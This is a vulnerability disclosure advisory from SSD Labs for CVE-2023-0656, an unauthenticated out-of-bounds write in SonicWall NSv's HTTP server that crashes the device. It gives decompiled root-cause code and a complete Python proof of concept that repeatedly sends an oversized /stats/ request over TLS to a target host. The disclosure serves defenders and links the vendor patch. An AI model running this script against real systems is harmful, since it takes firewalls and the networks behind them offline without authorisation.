SSD Advisory – SonicWall Out Of Bounds Write DoS

Summary

A vulnerability in SonicWall allows remote attackers to crash the target server on affected installations. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the `httpServer` function. The issue results from the lack of checking the return result of `snprintf` before using it to calculate the maximum length. An attacker can leverage this vulnerability to impact the availability of the target server.

Credit

Alex Birnberg of SSD Labs

CVE

CVE-2023-0656

Affected Devices

SonicWall NSv 270 R1833

Vendor Response

The vendor has released patches available at: https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0004

 Technical Analysis

The root cause of the vulnerability may be found within the httpServer function. In certain cases where the beginning of the path matches [1] the string /stats/, or other strings such as /Security_Services/ the code executes the snprintf logic.

_BOOL8 __fastcall sub_24164E0(const void *a1)
{
  return memcmp(a1, "/stats/", 7uLL) == 0; // 1
}

The httpServer function is responsible for handling incoming requests. When handling requests to paths that begin with /stats/ the following code will be called. The first snprintf prints [2] the method of the request and the path where the request is addressed to. Note that if the path exceeds the size specified in the function call, this size will still be returned by the function, even though the strings are being printed to the buffer accordingly. The next snprintf function call [3] takes the result returned from the previous snprintf call and substracts it from 1024. In the case where the result is bigger than 1024 this will lead to having the snprintf being called with a negative value for its length, and as the second argument is unsigned it would be a very large value instead. This can lead to buffer overflow with arbitrary data, which later leads to the denial of serivce condition by overflowing the stack canary.

void httpServer(SonicWall_HttpContext **context) {
  // ...
  v43 = __snprintf_chk(v151, 1024LL, 1LL, 1024LL, "%s %s", v42, *(const char **)(v2 + 112)); // 2
  if ( !*(_BYTE *)(v2 + 88) )
    __snprintf_chk(&v151[v43], 1024LL - v43, 1LL, -1LL, " HTTP/%s", *(const char **)(v2 + 136)); // 3
  // ...
}

PoC

#!/usr/bin/env python3
import ssl
import time
import socket
import argparse
import urllib.parse


class Exploit:
    def __init__(self, args):
        self.hostname = urllib.parse.urlparse(args.url).hostname

    def trigger(self):
        print('[*] Triggering...')
        while 1:
            try:
                self.dos()
            except:
                pass
            time.sleep(5)

    def dos(self):
        payload = "GET /stats/" + "A" * 0x400 + " HTTP/1.1" + \
            "B" * 0x2000 + "\r\nHost: " + self.hostname + "\r\n\r\n"
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        context = ssl.SSLContext()
        ssl_sock = context.wrap_socket(sock)
        ssl_sock.connect((self.hostname, 443))
        ssl_sock.send(payload.encode())
        ssl_sock.close()


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--url', help='Target URL', required=True, metavar='')
    exploit = Exploit(parser.parse_args())
    exploit.trigger()

?

Get in touch